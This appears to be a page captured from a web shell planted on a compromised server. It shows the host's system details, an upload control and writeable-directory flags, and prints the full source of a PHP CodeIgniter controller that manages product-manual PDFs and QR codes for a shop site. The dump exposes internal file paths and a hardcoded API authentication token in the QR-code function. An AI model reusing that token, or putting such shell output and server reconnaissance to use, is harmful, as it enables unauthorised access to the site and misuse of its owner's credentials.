https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/controllers/admin/Product_manuals.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Product_manuals extends Admin_Controller
{
    function __construct()
    {
        parent::__construct();
        $this->load->model(['product_manuals_m']);
        $this->load->library('upload');
        $this->load->library('session');
        $this->load->helper(['url', 'form']);
    }

    function index()
    {
        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Panduan Produk | Laciasmara';

        $guides = $this->product_manuals_m->get_all_manuals();

        $data['guides'] = $guides;
        $data['total_guides'] = $this->product_manuals_m->count_guides();
        $data['active_guides'] = $this->product_manuals_m->count_guides(1);
        $data['inactive_guides'] = $this->product_manuals_m->count_guides(0);

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/product_manuals/manage');
        $this->load->view('admin_new/layouts/footer');
    }

    function update($manual_id)
    {
        if (!$manual_id) {
            redirect(base_url('admin/manuals'));
        }
        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Panduan Produk | Laciasmara';

        $data['guide'] = $this->product_manuals_m->get_by_id($manual_id);

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/product_manuals/update');
        $this->load->view('admin_new/layouts/footer');
    }

    function do_update($manual_id)
    {
        $this->load->library('form_validation');

        log_message('info', "[Product_manuals] Mulai proses update manual. ID: {$manual_id}");

        // Validasi manual_id
        if (empty($manual_id) || !is_numeric($manual_id)) {
            log_message('error', '[Product_manuals] ID manual tidak valid.');
            $this->session->set_flashdata('error', 'ID manual tidak valid!');
            redirect('admin/manuals');
            return;
        }

        // Cek apakah manual exists
        $this->db->where('id', $manual_id);
        $existing_manual = $this->db->get('product_manuals')->row();
        if (!$existing_manual) {
            log_message('error', "[Product_manuals] Manual dengan ID {$manual_id} tidak ditemukan.");
            $this->session->set_flashdata('error', 'Manual tidak ditemukan!');
            redirect('admin/manuals');
            return;
        }

        // Form validation
        $this->form_validation->set_rules('title', 'Judul Manual', 'required|min_length[5]|max_length[255]');
        $this->form_validation->set_rules('slug', 'Slug URL', 'required|min_length[3]|max_length[255]');
        $this->form_validation->set_rules('version', 'Versi', 'required|regex_match[/^\d+\.\d+$/]');

        if ($this->form_validation->run() === FALSE) {
            log_message('error', '[Product_manuals] Validasi form gagal: ' . validation_errors(' ', ' '));
            $this->update($manual_id);
            return;
        }

        // Manual check untuk slug unique (exclude current record)
        $slug = $this->input->post('slug');
        $this->db->where('slug', $slug);
        $this->db->where('id !=', $manual_id);
        $slug_check = $this->db->get('product_manuals')->num_rows();

        if ($slug_check > 0) {
            log_message('error', "[Product_manuals] Slug '{$slug}' sudah digunakan oleh manual lain.");
            $this->session->set_flashdata('error', 'Slug URL sudah digunakan!');
            redirect('admin/manuals/edit/' . $manual_id);
            return;
        }

        // Prepare data untuk update
        $manual_data = [
            'title'         => $this->input->post('title'),
            'slug'          => $this->input->post('slug'),
            'version'       => $this->input->post('version'),
            'is_active'     => $this->input->post('is_active') ? 1 : 0,
            'updated_at'    => date('Y-m-d H:i:s')
        ];

        // Handle file upload jika ada file baru
        if (!empty($_FILES['pdf_file']['name'])) {
            log_message('info', '[Product_manuals] File baru diupload, memproses...');

            $upload_path = './uploads/manuals/';

            // Create directory if not exists
            if (!is_dir($upload_path)) {
                if (!mkdir($upload_path, 0755, true)) {
                    log_message('error', "[Product_manuals] Gagal membuat direktori: {$upload_path}");
                    $this->session->set_flashdata('error', 'Gagal membuat direktori upload!');
                    redirect('admin/manuals/edit/' . $manual_id);
                    return;
                } else {
                    log_message('info', "[Product_manuals] Direktori upload dibuat: {$upload_path}");
                }
            }

            // Generate unique filename
            $file_extension = pathinfo($_FILES['pdf_file']['name'], PATHINFO_EXTENSION);
            $new_filename = 'manual_' . date('YmdHis') . '_' . uniqid() . '.' . $file_extension;

            $config['upload_path']      = $upload_path;
            $config['allowed_types']    = 'pdf';
            $config['file_name']        = $new_filename;
            $config['max_size']         = 10240;
            $config['encrypt_name']     = FALSE;

            $this->upload->initialize($config);

            if (!$this->upload->do_upload('pdf_file')) {
                $error = $this->upload->display_errors('', '');
                log_message('error', '[Product_manuals] Upload gagal: ' . $error);
                $this->session->set_flashdata('error', 'Upload gagal: ' . $error);
                redirect('admin/manuals/edit/' . $manual_id);
                return;
            }

            $upload_data = $this->upload->data();
            log_message('info', '[Product_manuals] Upload sukses: ' . json_encode($upload_data));

            // Tambahkan data file ke array update
            $manual_data['file_name'] = $upload_data['orig_name'];
            $manual_data['file_path'] = 'uploads/manuals/' . $upload_data['file_name'];
            $manual_data['file_size'] = $upload_data['file_size'] * 1024;
            $manual_data['file_type'] = $upload_data['file_type'];

            // Simpan path file lama untuk dihapus nanti
            $old_file_path = './' . $existing_manual->file_path;
        }

        log_message('debug', '[Product_manuals] Data siap diupdate: ' . json_encode($manual_data));

        // Update ke database
        $update_result = $this->product_manuals_m->update($manual_id, $manual_data);

        if ($update_result) {
            log_message('info', "[Product_manuals] Data manual berhasil diupdate. ID: {$manual_id}");

            // Hapus file lama jika ada file baru yang diupload
            if (isset($old_file_path) && file_exists($old_file_path)) {
                if (@unlink($old_file_path)) {
                    log_message('info', "[Product_manuals] File lama berhasil dihapus: {$old_file_path}");
                } else {
                    log_message('warning', "[Product_manuals] Gagal menghapus file lama: {$old_file_path}");
                }
            }

            $this->session->set_flashdata('success', 'Manual berhasil diupdate!');
            redirect('admin/manuals');
        } else {
            log_message('error', '[Product_manuals] Gagal mengupdate data ke database.');

            // Hapus file baru jika gagal update database
            if (isset($upload_data)) {
                @unlink($upload_path . $upload_data['file_name']);
                log_message('info', '[Product_manuals] File baru dihapus karena gagal update database.');
            }

            $this->session->set_flashdata('error', 'Gagal mengupdate data ke database!');
            redirect('admin/manuals/edit/' . $manual_id);
        }
    }

    function upload()
    {
        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Panduan Produk | Laciasmara';

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/product_manuals/upload');
        $this->load->view('admin_new/layouts/footer');
    }

    function do_upload()
    {
        $this->load->library('form_validation');

        log_message('info', '[Product_manuals] Mulai proses upload manual.');

        $this->form_validation->set_rules('title', 'Judul Manual', 'required|min_length[5]|max_length[255]');
        $this->form_validation->set_rules('slug', 'Slug URL', 'required|min_length[3]|max_length[255]|is_unique[product_manuals.slug]');
        $this->form_validation->set_rules('version', 'Versi', 'required|regex_match[/^\d+\.\d+$/]');

        if ($this->form_validation->run() === FALSE) {
            log_message('error', '[Product_manuals] Validasi form gagal: ' . validation_errors(' ', ' '));
            $this->index();
            return;
        }

        // Check if file is uploaded
        if (empty($_FILES['pdf_file']['name'])) {
            log_message('error', '[Product_manuals] File PDF tidak ditemukan di input.');
            $this->session->set_flashdata('error', 'File PDF harus diupload!');
            redirect('admin/manuals');
            return;
        }

        $upload_path = './uploads/manuals/';

        // Create directory if not exists
        if (!is_dir($upload_path)) {
            if (!mkdir($upload_path, 0755, true)) {
                log_message('error', "[Product_manuals] Gagal membuat direktori: {$upload_path}");
                $this->session->set_flashdata('error', 'Gagal membuat direktori upload!');
                redirect('admin/manuals');
                return;
            } else {
                log_message('info', "[Product_manuals] Direktori upload dibuat: {$upload_path}");
            }
        }

        // Generate unique filename
        $file_extension = pathinfo($_FILES['pdf_file']['name'], PATHINFO_EXTENSION);
        $new_filename = 'manual_' . date('YmdHis') . '_' . uniqid() . '.' . $file_extension;

        $config['upload_path']      = $upload_path;
        $config['allowed_types']    = 'pdf';
        $config['file_name']        = $new_filename;
        $config['max_size']         = 10240;
        $config['encrypt_name']     = FALSE;

        $this->upload->initialize($config);

        if (!$this->upload->do_upload('pdf_file')) {
            $error = $this->upload->display_errors('', '');
            log_message('error', '[Product_manuals] Upload gagal: ' . $error);
            $this->session->set_flashdata('error', 'Upload gagal: ' . $error);
            redirect('admin/manuals/upload');
            return;
        }

        $upload_data = $this->upload->data();
        log_message('info', '[Product_manuals] Upload sukses: ' . json_encode($upload_data));

        // Generate unique code
        $unique_code = $this->generate_unique_code();
        log_message('info', "[Product_manuals] Unique code dihasilkan: {$unique_code}");

        $slug = $this->input->post('slug');
        // Prepare data
        $manual_data = [
            'title'         => $this->input->post('title'),
            'slug'          => $slug,
            'unique_code'   => $unique_code,
            'file_name'     => $upload_data['orig_name'],
            'file_path'     => 'uploads/manuals/' . $upload_data['file_name'],
            'file_size'     => $upload_data['file_size'] * 1024,
            'file_type'     => $upload_data['file_type'],
            'version'       => $this->input->post('version'),
            'is_active'     => $this->input->post('is_active') ? 1 : 0,
            'uploaded_by'   => $this->session->userdata('user_id'),
            'created_at'    => date('Y-m-d H:i:s')
        ];

        log_message('debug', '[Product_manuals] Data siap disimpan: ' . json_encode($manual_data));

        $insert_id = $this->product_manuals_m->insert($manual_data);

        if ($insert_id) {
            log_message('info', "[Product_manuals] Data manual berhasil disimpan. ID: {$insert_id}");
            $qr_result = $this->generate_qr_code($slug, $manual_data['title']);

            if ($qr_result['success']) {
                $this->product_manuals_m->update($insert_id, [
                    'qr_code_path' => $qr_result['qr_path']
                ]);
                log_message('info', "[Product_manuals] QR Code berhasil di-generate: {$qr_result['qr_path']}");
                $this->session->set_flashdata('success', 'Manual berhasil diupload! QR Code telah di-generate.');
            } else {
                log_message('warning', "[Product_manuals] QR Code gagal di-generate: {$qr_result['message']}");
                $this->session->set_flashdata('success', 'Manual berhasil diupload, namun QR Code gagal di-generate.');
            }

            redirect('admin/manuals');
        } else {
            log_message('error', '[Product_manuals] Gagal menyimpan data ke database. Menghapus file upload.');
            @unlink($upload_path . $upload_data['file_name']);
            $this->session->set_flashdata('error', 'Gagal menyimpan data ke database!');
            redirect('admin/manuals/upload');
        }
    }

    /**
     * Generate QR Code menggunakan me-qr.com API
     * 
     * @param string $slug Slug untuk URL manual
     * @param string $title Judul manual untuk nama QR Code
     * @return array Result dengan key 'success', 'qr_path', dan 'message'
     */
    private function generate_qr_code($slug, $title)
    {
        // API Configuration
        $api_url = 'https://me-qr.com/api/v2/qr/link/create';
        $auth_token = 'dd1c0022e3e674d3b133b9c025e2bddd15234fff641357b8a43133951daf4553';

        $manual_url = base_url('manuals/view/' . $slug);

        $request_body = [
            'qrFieldsData' => [
                'link' => $manual_url
            ],
            'title' => $title,
            'format' => 'png',
            'designType' => 'base',
            'qrOptions' => [
                'size' => 1000,
                'errorCorrectionLevel' => 'H',
                'pattern' => 'square',
                'patternColor' => '#000000',
                'patternBackground' => '#ffffff',
                'cornetsOuter' => 'square',
                'cornetsOuterColor' => '#000000',
                'cornetsInterior' => 'square',
                'cornetsInteriorColor' => '#000000',
                'logotype' => null,
                'logotypeSize' => 0.5,
                'logotypeMargin' => 0,
                'logotypeHideBackground' => true,
                'gradientPattern' => null,
                'gradientCornetsOuter' => null,
                'gradientCornetsInterior' => null,
                'gradientBackground' => null
            ],
            'qrFrame' => [
                'name' => 'noFrame',
                'color' => '#000000',
                'backgroundColor' => 'transparent',
                'text' => '',
                'textSize' => null,
                'textColor' => '#9C3AAF',
                'textFont' => 'Roboto'
            ]
        ];

        log_message('debug', '[Product_manuals] Request QR Code untuk URL: ' . $manual_url);

        // Initialize cURL
        $ch = curl_init($api_url);

        // Set cURL options
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($request_body));
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Content-Type: application/json',
            'X-AUTH-TOKEN: ' . $auth_token
        ]);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);

        // Execute request
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curl_error = curl_error($ch);
        curl_close($ch);

        if ($curl_error) {
            log_message('error', '[Product_manuals] cURL error: ' . $curl_error);
            return [
                'success' => false,
                'qr_path' => null,
                'message' => 'cURL error: ' . $curl_error
            ];
        }

        if ($http_code === 200 || $http_code === 201) {
            // API return Image base
            $qr_filename = 'qr_' . $slug . '_' . time() . '.png';
            $qr_path = './uploads/qrcodes/';

            if (!is_dir($qr_path)) {
                if (!mkdir($qr_path, 0755, true)) {
                    log_message('error', '[Product_manuals] Gagal membuat direktori QR code');
                    return [
                        'success' => false,
                        'qr_path' => null,
                        'message' => 'Gagal membuat direktori QR code'
                    ];
                }
            }

            $saved = file_put_contents($qr_path . $qr_filename, $response);

            if ($saved !== false) {
                log_message('info', '[Product_manuals] QR Code disimpan: ' . $qr_path . $qr_filename);
                return [
                    'success' => true,
                    'qr_path' => 'uploads/qrcodes/' . $qr_filename,
                    'message' => 'QR Code berhasil di-generate dan disimpan'
                ];
            } else {
                log_message('error', '[Product_manuals] Gagal menyimpan file QR Code');
                return [
                    'success' => false,
                    'qr_path' => null,
                    'message' => 'Gagal menyimpan file QR Code'
                ];
            }
        } else {
            log_message('error', '[Product_manuals] API error (HTTP ' . $http_code . '): ' . substr($response, 0, 500));
            return [
                'success' => false,
                'qr_path' => null,
                'message' => 'API error: HTTP ' . $http_code
            ];
        }
    }

    /**
     * Delete manual
     * @param int $manual_id
     */
    public function delete($manual_id)
    {
        log_message('info', "[Product_manuals] Mulai proses delete manual. ID: {$manual_id}");

        // Validasi manual_id
        if (empty($manual_id) || !is_numeric($manual_id)) {
            log_message('error', '[Product_manuals] ID manual tidak valid.');
            $this->session->set_flashdata('error', 'ID manual tidak valid!');
            redirect('admin/manuals');
            return;
        }

        // Cek apakah manual exists
        $this->db->where('id', $manual_id);
        $manual = $this->db->get('product_manuals')->row();

        if (!$manual) {
            log_message('error', "[Product_manuals] Manual dengan ID {$manual_id} tidak ditemukan.");
            $this->session->set_flashdata('error', 'Manual tidak ditemukan!');
            redirect('admin/manuals');
            return;
        }

        log_message('info', "[Product_manuals] Manual ditemukan: {$manual->title}");

        // Hapus file PDF dari server
        $file_path = './' . $manual->file_path;

        if (file_exists($file_path)) {
            if (@unlink($file_path)) {
                log_message('info', "[Product_manuals] File berhasil dihapus: {$file_path}");
            } else {
                log_message('warning', "[Product_manuals] Gagal menghapus file: {$file_path}");
                // Lanjutkan proses delete meskipun file gagal dihapus
            }
        } else {
            log_message('warning', "[Product_manuals] File tidak ditemukan: {$file_path}");
        }

        // Hapus dari database
        $delete_result = $this->product_manuals_m->delete($manual_id);

        if ($delete_result) {
            log_message('info', "[Product_manuals] Manual berhasil dihapus dari database. ID: {$manual_id}");
            $this->session->set_flashdata('success', 'Manual berhasil dihapus!');
        } else {
            log_message('error', "[Product_manuals] Gagal menghapus manual dari database. ID: {$manual_id}");
            $this->session->set_flashdata('error', 'Gagal menghapus data dari database!');
        }

        redirect('admin/manuals');
    }

    /**
     * Generate unique code for QR
     */
    private function generate_unique_code($length = 8)
    {
        do {
            $code = strtoupper(substr(md5(uniqid(rand(), true)), 0, $length));
        } while ($this->product_manuals_m->check_code_exists($code));

        return $code;
    }

    /**
     * Callback: Check if slug is unique
     */
    public function check_slug_unique($slug)
    {
        $manual_id = $this->uri->segment(4); // For edit mode

        if ($this->product_manuals_m->check_slug_exists($slug, $manual_id)) {
            $this->form_validation->set_message('check_slug_unique', 'Slug sudah digunakan, silakan gunakan slug lain.');
            return FALSE;
        }

        return TRUE;
    }
}

https://t.me/RX1948 - 2025